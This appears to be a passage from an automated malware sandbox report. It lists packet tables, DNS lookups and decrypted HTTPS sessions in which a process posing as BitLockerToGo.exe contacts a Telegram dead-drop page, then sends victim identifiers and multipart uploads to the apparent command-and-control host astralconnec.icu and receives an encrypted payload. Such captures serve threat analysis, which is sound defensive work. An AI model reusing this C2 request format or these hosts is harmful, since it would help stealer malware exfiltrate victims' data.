Mar 10, 2025 15:34:38.478734970 CET	49760	443	192.168.2.12	104.21.77.86
Mar 10, 2025 15:34:38.478735924 CET	443	49760	104.21.77.86	192.168.2.12
Mar 10, 2025 15:34:38.478750944 CET	443	49760	104.21.77.86	192.168.2.12
Mar 10, 2025 15:34:38.478894949 CET	49760	443	192.168.2.12	104.21.77.86
Mar 10, 2025 15:34:38.478945971 CET	49760	443	192.168.2.12	104.21.77.86
Mar 10, 2025 15:34:38.478976011 CET	49760	443	192.168.2.12	104.21.77.86
Mar 10, 2025 15:34:38.478980064 CET	443	49760	104.21.77.86	192.168.2.12
Mar 10, 2025 15:34:38.478995085 CET	443	49760	104.21.77.86	192.168.2.12
Mar 10, 2025 15:34:38.479110956 CET	49760	443	192.168.2.12	104.21.77.86
Mar 10, 2025 15:34:38.479160070 CET	49760	443	192.168.2.12	104.21.77.86
Mar 10, 2025 15:34:38.479178905 CET	443	49760	104.21.77.86	192.168.2.12
Mar 10, 2025 15:34:38.479190111 CET	49760	443	192.168.2.12	104.21.77.86
Mar 10, 2025 15:34:38.479235888 CET	443	49760	104.21.77.86	192.168.2.12
Mar 10, 2025 15:34:41.850821018 CET	443	49760	104.21.77.86	192.168.2.12
Mar 10, 2025 15:34:41.850930929 CET	443	49760	104.21.77.86	192.168.2.12
Mar 10, 2025 15:34:41.851021051 CET	49760	443	192.168.2.12	104.21.77.86
Mar 10, 2025 15:34:41.851623058 CET	49760	443	192.168.2.12	104.21.77.86
Mar 10, 2025 15:34:41.851644039 CET	443	49760	104.21.77.86	192.168.2.12
Mar 10, 2025 15:34:41.881639004 CET	49761	443	192.168.2.12	104.21.77.86
Mar 10, 2025 15:34:41.881688118 CET	443	49761	104.21.77.86	192.168.2.12
Mar 10, 2025 15:34:41.881788969 CET	49761	443	192.168.2.12	104.21.77.86
Mar 10, 2025 15:34:41.882113934 CET	49761	443	192.168.2.12	104.21.77.86
Mar 10, 2025 15:34:41.882129908 CET	443	49761	104.21.77.86	192.168.2.12
Mar 10, 2025 15:34:43.918123007 CET	443	49761	104.21.77.86	192.168.2.12
Mar 10, 2025 15:34:43.918272972 CET	49761	443	192.168.2.12	104.21.77.86
Mar 10, 2025 15:34:43.919579983 CET	49761	443	192.168.2.12	104.21.77.86
Mar 10, 2025 15:34:43.919589043 CET	443	49761	104.21.77.86	192.168.2.12
Mar 10, 2025 15:34:43.919852018 CET	443	49761	104.21.77.86	192.168.2.12
Mar 10, 2025 15:34:43.926943064 CET	49761	443	192.168.2.12	104.21.77.86
Mar 10, 2025 15:34:43.926966906 CET	49761	443	192.168.2.12	104.21.77.86
Mar 10, 2025 15:34:43.927025080 CET	443	49761	104.21.77.86	192.168.2.12
Mar 10, 2025 15:34:44.646819115 CET	443	49761	104.21.77.86	192.168.2.12
Mar 10, 2025 15:34:44.646889925 CET	443	49761	104.21.77.86	192.168.2.12
Mar 10, 2025 15:34:44.646920919 CET	443	49761	104.21.77.86	192.168.2.12
Mar 10, 2025 15:34:44.646951914 CET	443	49761	104.21.77.86	192.168.2.12
Mar 10, 2025 15:34:44.647022963 CET	49761	443	192.168.2.12	104.21.77.86
Mar 10, 2025 15:34:44.647042036 CET	443	49761	104.21.77.86	192.168.2.12
Mar 10, 2025 15:34:44.647078037 CET	49761	443	192.168.2.12	104.21.77.86
Mar 10, 2025 15:34:44.653322935 CET	443	49761	104.21.77.86	192.168.2.12
Mar 10, 2025 15:34:44.653397083 CET	49761	443	192.168.2.12	104.21.77.86
Mar 10, 2025 15:34:44.653413057 CET	443	49761	104.21.77.86	192.168.2.12
Mar 10, 2025 15:34:44.660154104 CET	443	49761	104.21.77.86	192.168.2.12
Mar 10, 2025 15:34:44.660218000 CET	443	49761	104.21.77.86	192.168.2.12
Mar 10, 2025 15:34:44.660233021 CET	49761	443	192.168.2.12	104.21.77.86
Mar 10, 2025 15:34:44.660247087 CET	443	49761	104.21.77.86	192.168.2.12
Mar 10, 2025 15:34:44.660283089 CET	443	49761	104.21.77.86	192.168.2.12
Mar 10, 2025 15:34:44.660284042 CET	49761	443	192.168.2.12	104.21.77.86
Mar 10, 2025 15:34:44.660331011 CET	49761	443	192.168.2.12	104.21.77.86
Mar 10, 2025 15:34:44.677963018 CET	49761	443	192.168.2.12	104.21.77.86
Mar 10, 2025 15:34:44.677980900 CET	443	49761	104.21.77.86	192.168.2.12
Mar 10, 2025 15:34:44.677994013 CET	49761	443	192.168.2.12	104.21.77.86
Mar 10, 2025 15:34:44.678000927 CET	443	49761	104.21.77.86	192.168.2.12

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Mar 10, 2025 15:34:04.285346985 CET	52425	53	192.168.2.12	1.1.1.1
Mar 10, 2025 15:34:04.292573929 CET	53	52425	1.1.1.1	192.168.2.12
Mar 10, 2025 15:34:07.549084902 CET	52525	53	192.168.2.12	1.1.1.1
Mar 10, 2025 15:34:07.564724922 CET	53	52525	1.1.1.1	192.168.2.12

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Mar 10, 2025 15:34:04.285346985 CET	192.168.2.12	1.1.1.1	0x31d8	Standard query (0)	t.me	A (IP address)	IN (0x0001)	false
Mar 10, 2025 15:34:07.549084902 CET	192.168.2.12	1.1.1.1	0xb51c	Standard query (0)	astralconnec.icu	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	Address	Type	Class	DNS over HTTPS
Mar 10, 2025 15:34:04.292573929 CET	1.1.1.1	192.168.2.12	0x31d8	No error (0)	t.me	149.154.167.99	A (IP address)	IN (0x0001)	false
Mar 10, 2025 15:34:07.564724922 CET	1.1.1.1	192.168.2.12	0xb51c	No error (0)	astralconnec.icu	104.21.77.86	A (IP address)	IN (0x0001)	false
Mar 10, 2025 15:34:07.564724922 CET	1.1.1.1	192.168.2.12	0xb51c	No error (0)	astralconnec.icu	172.67.205.192	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

t.me

astralconnec.icu

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.12	49749	149.154.167.99	443	6508	C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe

Timestamp	Bytes transferred	Direction	Data
2025-03-10 14:34:06 UTC	61	OUT	GET /asdawfq HTTP/1.1 Connection: Keep-Alive Host: t.me
2025-03-10 14:34:07 UTC	511	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Mon, 10 Mar 2025 14:34:07 GMT Content-Type: text/html; charset=utf-8 Content-Length: 12334 Connection: close Set-Cookie: stel_ssid=50f60ad0f8aae032d3_6698342934930654169; expires=Tue, 11 Mar 2025 14:34:07 GMT; path=/; samesite=None; secure; HttpOnly Pragma: no-cache Cache-control: no-store X-Frame-Options: ALLOW-FROM https://web.telegram.org Content-Security-Policy: frame-ancestors https://web.telegram.org Strict-Transport-Security: max-age=35768000
2025-03-10 14:34:07 UTC	12334	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 3e 0a 20 20 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 54 65 6c 65 67 72 61 6d 3a 20 43 6f 6e 74 61 63 74 20 40 61 73 64 61 77 66 71 3c 2f 74 69 74 6c 65 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 0a 20 20 20 20 3c 73 63 72 69 70 74 3e 74 72 79 7b 69 66 28 77 69 6e 64 6f 77 2e 70 61 72 65 6e 74 21 3d 6e 75 6c 6c 26 26 77 69 6e 64 6f 77 21 3d 77 69 6e 64 6f 77 2e 70 61 72 65 6e 74 29 7b 77 69 6e 64 6f 77 2e 70 61 72 65 6e Data Ascii: <!DOCTYPE html><html> <head> <meta charset="utf-8"> <title>Telegram: Contact @asdawfq</title> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <script>try{if(window.parent!=null&&window!=window.parent){window.paren

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.12	49753	104.21.77.86	443	6508	C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe

Timestamp	Bytes transferred	Direction	Data
2025-03-10 14:34:10 UTC	267	OUT	POST /DPowko HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 65 Host: astralconnec.icu
2025-03-10 14:34:10 UTC	65	OUT	Data Raw: 75 69 64 3d 61 31 61 61 30 35 63 63 61 34 32 64 63 39 66 38 64 30 32 38 36 37 35 32 39 30 36 33 31 33 34 37 33 39 30 36 65 34 63 66 36 62 65 65 63 62 63 65 35 64 36 36 38 36 35 65 26 63 69 64 3d Data Ascii: uid=a1aa05cca42dc9f8d0286752906313473906e4cf6beecbce5d66865e&cid=
2025-03-10 14:34:19 UTC	785	IN	HTTP/1.1 200 OK Date: Mon, 10 Mar 2025 14:34:19 GMT Content-Type: application/octet-stream Content-Length: 14134 Connection: close cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=YtIZaGxwKcsN91MS9l38AGrYM%2FgcrwY6v9pBv5R1kLssMx%2BxrbCVHyg6f61oNdA6qnmVBc0YxaBCyqTw%2FnFpLmbyBZA%2B83ijZ9za10JxPHsZdSVLM1q6ejlNNgUPpkvyi4oS"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 91e388076c400def-MEM alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=31547&min_rtt=28056&rtt_var=13942&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2840&recv_bytes=968&delivery_rate=67419&cwnd=251&unsent_bytes=0&cid=3dca5f03c977a447&ts=9590&x=0"
2025-03-10 14:34:19 UTC	1369	IN	Data Raw: a0 af 84 0f 10 d0 e0 5e 51 e9 bd 32 a3 81 95 c2 08 26 3b 7a e1 92 7e 2a 5a 7b 48 db f3 a8 2b 21 00 7e 1f cf 3c e9 86 99 d0 cf 75 52 cf 44 31 63 5e 4a 91 bb 67 80 33 66 36 5d ab ae 85 e2 b9 a3 de 34 14 16 35 bc 8e ee a3 6c e8 69 b9 a6 39 6c 95 bc 2b cc c5 a6 67 c8 c8 ef 37 71 88 4d 35 02 2b 40 43 57 5f e8 74 11 b5 06 63 ee 00 21 e1 2f 87 75 8b 0c 90 fb e5 1f de c7 b0 22 52 e2 dc d0 6a e0 99 b3 d2 8e dc 02 56 bc b3 da 67 d3 e9 a0 29 fb bc 3c e1 d0 e5 d0 d9 b7 7a 68 ad 8f a4 f1 6e dd 9a 5b eb be 0c 16 b8 98 cc c6 b8 b9 72 9e cd f1 7a 6f 9e cc 49 88 c7 03 bb bc 51 e8 bf 9f 1d 6e 1d c0 ec e8 c9 56 c3 db 16 2f 33 3b 90 13 b6 40 81 08 07 87 16 98 93 33 08 19 cd 28 d5 49 d8 49 24 9f 97 4e f1 c2 66 e6 28 10 08 07 7f 83 de de 45 6a aa d1 27 77 6a 40 29 cf 01 06 5b Data Ascii: ^Q2&;z~*Z{H+!~<uRD1c^Jg3f6]45li9l+g7qM5+@CW_tc!/u"RjVg)<zhn[rzoIQnV/3;@3(II$Nf(Ej'wj@)[
2025-03-10 14:34:19 UTC	1369	IN	Data Raw: b8 09 91 c2 ea 68 7a 11 f3 1b 03 2c 82 55 4d 50 0b ef c5 db 05 5c 7c 0c 45 b0 b8 9a 81 e0 59 e0 06 80 8e 28 66 5e 85 16 88 6a fb 1e 9e 55 b4 31 9b b2 68 0f b3 db 25 a4 d6 8a 58 2c ea cb a7 5d f9 26 26 a1 00 89 19 53 90 0a 01 80 3e 19 bc bd a0 50 1d 43 cc e8 ba 09 41 49 20 13 a6 e0 63 4d 5c 63 a1 ab 50 c7 76 12 94 12 7c a8 4b a0 1b 66 ae da 3f bc 58 2f 6f 12 81 cd 31 c4 a7 7f d7 46 91 3d 54 2d 9e b5 e2 68 88 87 2c 41 df 25 e2 db 59 9f f2 da 22 95 e2 4c 5e 37 30 62 c0 e4 86 fb 5e 91 a3 4d 1a 7a 10 23 d5 d7 75 57 a7 49 20 cf eb 00 2b 14 d9 da 96 56 9a 34 2f b2 6c 46 3f b4 70 0d 44 dc 60 72 3f 8c 6e 32 45 b6 ac 93 91 c1 af 6d c3 67 c0 6a 88 04 35 13 c8 ab af 44 f1 76 ff 96 61 2a 60 ae c0 10 7c b0 5f 0f 20 ef 7e 06 33 f2 2b 99 a7 1d 1c f0 ff 90 07 59 2a 09 fd Data Ascii: hz,UMP\\|EY(f^jU1h%X,]&&S>PCAI cM\cPv\|Kf?X/o1F=T-h,A%Y"L^70b^Mz#uWI +V4/lF?pD`r?n2Emgj5Dva`\|_ ~3+Y
2025-03-10 14:34:19 UTC	1369	IN	Data Raw: d9 ee b0 51 89 80 29 86 f7 6a ef ba b7 91 fb 16 17 62 66 87 92 ba 58 c4 f9 65 9d 5f 5a 8b b8 d2 53 c4 d9 92 cb 77 2f 58 08 3c 2c 03 8a a4 f6 cc 86 97 c1 72 75 f2 85 82 6c c7 33 39 50 20 c1 5e e8 f4 63 71 06 f2 ad 3f fa 64 ba 4f 24 d9 11 bd f3 78 24 58 b3 b7 09 d3 ea b9 a7 93 5f c0 12 3d 5d d2 d9 11 26 75 e0 13 0a b0 d0 db 42 72 90 c8 96 25 aa 54 a7 17 cf eb 31 b6 d1 fa bd c2 94 73 67 d0 5a 31 81 2d c0 b3 c8 96 2a c1 0d f8 e7 44 c6 90 64 c9 9d 78 27 34 a0 31 a8 b2 b5 16 a9 87 7b 13 f2 fc df c4 01 07 c3 54 36 e7 be 41 71 a5 ef ee 5b a7 75 62 4c d2 e5 76 6b ec 22 bd 7f 35 03 0b ed fe a5 a7 5e 7e 2e aa 39 f1 07 53 8a 24 1d b8 f1 2e 36 94 be 38 d5 bc a9 41 22 77 d6 95 cf 90 ce 95 53 b7 80 a9 8f 37 ca 3f af 5d 16 60 10 c1 b9 4a 6a d1 e8 ff 7b 0e 93 07 3e ec 23 Data Ascii: Q)jbfXe_ZSw/X<,rul39P ^cq?dO$x$X_=]&uBr%T1sgZ1-*Ddx'41{T6Aq[ubLvk"5^~.9S$.68A"wS7?]`Jj{>#
2025-03-10 14:34:19 UTC	1369	IN	Data Raw: 15 1b 2e 35 d3 db ed ae ab 29 f7 f1 33 d9 dd 58 ef 79 57 e9 46 f9 c2 47 71 2c e4 fe 39 84 57 b5 ec 5d 35 ed 5b 0c a1 08 93 d8 c3 fd 20 d7 33 83 15 25 54 43 7b 4c 07 4c 4a d9 e4 b2 2c 04 be 2d a4 06 2a 96 2a 70 cb dc b5 80 31 53 95 5b 1b fb a2 21 26 28 3b 30 66 27 cb 66 17 02 40 5d 93 f9 54 91 d4 74 c4 c7 d4 52 bb 1c 8c 1a 0f 42 de 08 f5 18 d7 98 e0 53 69 68 d4 27 2d 7c c2 54 d5 8d 77 34 f1 1d ff 1c 81 73 35 e9 99 3f 8f 56 75 dc 2f 94 01 f2 2f e1 73 88 27 49 12 74 90 8f 21 5e 4a 02 51 bb 78 05 f2 d0 cb 76 14 13 ea 59 26 b9 70 a3 74 95 e6 a1 07 7f 81 fa 8c 57 57 27 df 8d 5d 31 68 1a 0c b8 0b 7b 34 13 69 3b 47 7c 39 45 35 f3 eb ac a2 b8 67 17 ea cc 3d d5 ca 1a d4 01 95 5e 2b d3 de 29 29 98 60 0a 7a 0a 88 df cc 84 fd 8e a1 b4 2f fe d3 b6 c1 a0 b2 a5 90 40 fc Data Ascii: .5)3XyWFGq,9W]5[ 3%TC{LLJ,-**p1S[!&(;0f'f@]TtRBSih'-\|Tw4s5?Vu//s'It!^JQxvY&ptWW']1h{4i;G\|9E5g=^+))`z/@
2025-03-10 14:34:19 UTC	142	IN	Data Raw: b7 3b 0a 0e c6 1b d3 0d 1c e2 93 a7 bc a2 0e 62 e2 11 64 6d d3 51 ce 60 7c f7 b0 0b 4b ac 26 fa 79 1f 99 76 a0 68 85 ba 8f b1 e7 50 7f 4f 06 21 80 33 42 d7 df c3 60 91 36 83 19 83 3c 0a 19 9c ce d2 b6 39 3d 3d 37 46 6d 58 ba 86 c7 b3 fe ea c0 7e b6 35 94 79 81 43 a3 e3 af a8 d4 45 f9 12 52 f0 47 d3 e2 59 9e 27 fd f6 56 9f b7 4f 81 08 d0 57 1b 5b ac 8c b2 6e c4 d7 42 1f 0f aa c5 0d 5d 7f eb 7d 82 0f a3 fe 69 4f 00 40 04 46 Data Ascii: ;bdmQ`\|K&yvhPO!3B`6<9==7FmX~5yCERGY'VOW[nB]}iO@F
2025-03-10 14:34:19 UTC	1369	IN	Data Raw: 82 14 78 1c 43 f1 6a d0 c3 76 6b d4 b6 0e 69 54 8a 57 a0 be 19 47 bb ee 14 10 9f 09 6c 96 f0 c0 1b ed ca 02 12 da ea 99 44 a0 ad fa fc 40 fd ee 99 16 a5 2d 87 10 23 bf 18 27 d2 f0 4c a4 e7 ce fb 3b 1c 90 31 f8 06 45 b0 1e b9 c9 e8 e7 93 0c ab 5f 26 3d 75 0b 72 f2 9e 8f 08 a5 5f 0d 36 e8 23 f0 df 53 7d 0b 14 e1 d6 ce 9d dc 5b 5d c7 0f 17 e5 56 9d 18 32 d7 40 76 54 f4 02 e2 ed b1 f2 82 6b ab c2 ce c7 ee 82 ff c9 1b 9d 26 03 54 94 14 1b 54 43 3b 37 c3 cc 15 7d c0 76 08 ea 6c 27 80 3a af 3b 39 08 28 04 60 b6 d5 34 de 6e df 4a 5b 4c 4f c3 67 ec 41 b6 88 ae 08 b8 51 2e ff 82 ea fa 5f 15 7f 83 ca 4e 17 97 48 5b 70 0e ac 36 d9 c9 47 97 a1 b4 f2 96 b0 ec c8 cc 9e 7f 77 55 da 3b 2f 8c ed 7d ea 4b 33 10 0e 6b 92 09 08 b1 6f 0e 1c f1 e4 db 2a 7e c4 78 3a 53 fd 8e d2 Data Ascii: xCjvkiTWGlD@-#'L;1E_&=ur_6#S}[]V2@vTk&TTC;7}vl':;9(`4nJ[LOgAQ._NH[p6GwU;/}K3ko*~x:S
2025-03-10 14:34:19 UTC	1369	IN	Data Raw: 4c 41 b0 81 42 b7 a1 32 3a 99 28 7c a6 a8 80 ce 12 e6 e9 c5 7e ed 74 80 62 fb 7b 65 f7 bf b2 34 04 63 ab 36 a6 8c 8f 86 99 95 b9 2b 4e 8f aa f0 3f ab 9f e0 50 b6 72 70 4d 7d 79 8c 32 11 95 4a 65 bb ce 33 77 ec 47 02 41 76 e5 eb ff f2 91 d2 ed d9 2e dc 60 b8 2a 3b d1 32 90 a4 97 d9 7a 54 96 eb 5e 4f fd 3a 59 a8 24 c8 d4 4c 0a 54 71 28 37 86 5d 04 06 91 bf 31 66 13 59 f1 f7 c8 81 4c ab bc 2a 93 77 f0 0c d0 d5 d9 9c c7 66 b0 04 3b ae de 35 47 c0 a1 9a 1f 18 7d 16 07 44 8d ed 87 d6 41 1d f7 eb 0c 4f 73 3a 23 c5 9b 3c 35 6b 9f d8 2c 73 22 79 c2 bb 15 2b a7 32 53 06 1c 2e a4 9d 28 30 89 68 c4 5c c9 b9 e6 f8 3c 08 f7 57 fd 6f 31 47 0f 11 10 1e 8e 40 a7 d2 ea 15 64 4d b2 ff e6 0e c5 81 3a ad ae eb ec e4 3d 58 2c 24 32 bc f4 61 0e 89 27 5a 48 fa 39 59 48 72 a2 c4 Data Ascii: LAB2:(\|~tb{e4c6+N?PrpM}y2Je3wGAv.`;2zT^O:Y$LTq(7]1fYLwf;5G}DAOs:#<5k,s"y+2S.(0h\<Wo1G@dM:=X,$2a'ZH9YHr
2025-03-10 14:34:19 UTC	1369	IN	Data Raw: 73 aa d8 a5 df d6 a0 44 c2 99 03 31 85 46 5b 9f 38 d9 d2 6b c0 60 ae 92 19 c5 0b 58 dc 5e d0 bc 7e 1c 91 25 94 ab ed c4 0b 54 a4 f6 b3 5a 9b f5 cc 3b 65 42 47 23 8c 29 e1 46 18 8d 70 d9 29 4a 8c b5 11 30 3c 17 82 d5 d2 c2 2f 8e 17 ed e1 ad 21 77 c2 63 19 48 6d fd 73 0a a1 0f db db 31 d7 9f 3e 77 c2 da 82 f1 22 c3 11 24 6c 5b a7 b7 e8 f2 f9 a0 fd 02 2f ee 4c 52 59 79 24 8f 8b 05 2b 22 d7 be 7a b5 95 19 74 ff 4b 67 e7 e1 10 e1 ce 30 9e db 7c 12 fe fb 41 cc 2a af 68 f9 32 66 40 1a cb c6 41 74 d5 f6 24 33 40 6b 09 85 50 eb 35 f3 b8 37 d8 98 91 91 0a 69 96 be aa e7 03 0e 21 d8 67 48 cf ef b9 39 a5 48 f1 52 fd 3a 23 11 5c 5f e1 42 b3 d0 24 44 b3 61 88 3f a1 00 79 e2 55 3f 38 7d 8e 12 c7 0b b8 64 1d 5d 45 ff 9a fa 69 f7 7d e2 0a ba fe 96 71 30 65 0b 5d f6 ab 4c Data Ascii: sD1F[8k`X^~%TZ;eBG#)Fp)J0</!wcHms1>w"$l[/LRYy$+"ztKg0\|A*h2f@At$3@kP57i!gH9HR:#\_B$Da?yU?8}d]Ei}q0e]L
2025-03-10 14:34:19 UTC	1369	IN	Data Raw: a7 88 b7 b5 45 20 b3 22 b3 a6 a5 ce c9 40 fa d0 db 08 26 ac b7 cd 78 ae 5b 0a dd 94 58 07 8e d5 ae 43 b9 c1 a7 05 b6 4d 10 ca 99 ff 60 d2 a5 36 ac c4 2a 2f 2c ff 48 34 b7 e0 25 64 22 4a 9b 7a 49 a5 b5 a0 86 8f 07 b4 7e 46 95 8e ed 21 f1 a2 0b cf 8a 28 3d 15 bb 71 a8 c2 0b e1 f8 6e 23 a7 56 ff 00 ea e6 93 bd 1b 25 33 4a 6b 28 57 71 27 24 0e 59 77 ce b6 e9 9a f1 65 c8 ea 8a 81 7b 4c ac 1f 92 4b 14 b2 68 ff de 68 ab f4 60 ef c5 8a 05 31 bf 69 57 ca df da 91 6b 47 f9 73 1f 8a 36 e1 98 31 c1 92 40 bb 8b b9 fd ae 74 b1 d3 75 a0 be 82 85 bd 74 13 8f dd 2e 23 06 03 eb 4c 5b 25 73 69 8f 5a b7 c0 c5 11 f9 6c 38 3b d9 1f 7c d7 9b e7 0c 33 91 55 3b 4c c9 e2 27 e1 0f 06 cf 80 96 e9 ce 98 7e 28 3e 7f f3 1d 07 f1 2c 70 e8 a6 52 e7 12 87 fe f9 f0 df 1c c9 d9 51 24 ad 03 Data Ascii: E "@&x[XCM`6*/,H4%d"JzI~F!(=qn#V%3Jk(Wq'$Ywe{LKhh`1iWkGs61@tut.#L[%siZl8;\|3U;L'~(>,pRQ$

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.12	49755	104.21.77.86	443	6508	C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe

Timestamp	Bytes transferred	Direction	Data
2025-03-10 14:34:22 UTC	278	OUT	POST /DPowko HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=g6kL6cBN6ed User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 14500 Host: astralconnec.icu
2025-03-10 14:34:22 UTC	14500	OUT	Data Raw: 2d 2d 67 36 6b 4c 36 63 42 4e 36 65 64 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 75 69 64 22 0d 0a 0d 0a 61 31 61 61 30 35 63 63 61 34 32 64 63 39 66 38 64 30 32 38 36 37 35 32 39 30 36 33 31 33 34 37 33 39 30 36 65 34 63 66 36 62 65 65 63 62 63 65 35 64 36 36 38 36 35 65 0d 0a 2d 2d 67 36 6b 4c 36 63 42 4e 36 65 64 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 67 36 6b 4c 36 63 42 4e 36 65 64 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 35 38 34 46 35 38 37 44 36 39 Data Ascii: --g6kL6cBN6edContent-Disposition: form-data; name="uid"a1aa05cca42dc9f8d0286752906313473906e4cf6beecbce5d66865e--g6kL6cBN6edContent-Disposition: form-data; name="pid"2--g6kL6cBN6edContent-Disposition: form-data; name="hwid"584F587D69
2025-03-10 14:34:23 UTC	825	IN	HTTP/1.1 200 OK Date: Mon, 10 Mar 2025 14:34:23 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=IFSrZJl4oWRePzNpETgO3M3sMwsM%2BnQQDODIqJGkCrs9SZi9Jk6f7Zj%2FnTO%2FWGrCPpni%2BYJTrLWNV4jwmbQNdaN96MTm%2FX18ayPqVfXST%2BifLr9lDj%2BY%2BGT3AdZm3duG2Im6"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 91e38853b8fb3bd9-MEM alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=31459&min_rtt=24699&rtt_var=12090&sent=9&recv=17&lost=0&retrans=0&sent_bytes=2841&recv_bytes=15436&delivery_rate=106244&cwnd=251&unsent_bytes=0&cid=0676bdefe992a19f&ts=1001&x=0"
2025-03-10 14:34:23 UTC	76	IN	Data Raw: 34 36 0d 0a 7b 22 73 75 63 63 65 73 73 22 3a 7b 22 6d 65 73 73 61 67 65 22 3a 22 6d 65 73 73 61 67 65 20 73 75 63 63 65 73 73 20 64 65 6c 69 76 65 72 79 20 66 72 6f 6d 20 37 33 2e 32 30 33 2e 32 33 31 2e 31 39 36 22 7d 7d 0d 0a Data Ascii: 46{"success":{"message":"message success delivery from 73.203.231.196"}}
2025-03-10 14:34:23 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.12	49757	104.21.77.86	443	6508	C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe

Timestamp	Bytes transferred	Direction	Data
2025-03-10 14:34:25 UTC	283	OUT	POST /DPowko HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=dAV3vkHF7nOsEb38 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 15069 Host: astralconnec.icu
2025-03-10 14:34:25 UTC	15069	OUT	Data Raw: 2d 2d 64 41 56 33 76 6b 48 46 37 6e 4f 73 45 62 33 38 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 75 69 64 22 0d 0a 0d 0a 61 31 61 61 30 35 63 63 61 34 32 64 63 39 66 38 64 30 32 38 36 37 35 32 39 30 36 33 31 33 34 37 33 39 30 36 65 34 63 66 36 62 65 65 63 62 63 65 35 64 36 36 38 36 35 65 0d 0a 2d 2d 64 41 56 33 76 6b 48 46 37 6e 4f 73 45 62 33 38 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 64 41 56 33 76 6b 48 46 37 6e 4f 73 45 62 33 38 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 Data Ascii: --dAV3vkHF7nOsEb38Content-Disposition: form-data; name="uid"a1aa05cca42dc9f8d0286752906313473906e4cf6beecbce5d66865e--dAV3vkHF7nOsEb38Content-Disposition: form-data; name="pid"2--dAV3vkHF7nOsEb38Content-Disposition: form-data; name="hwid
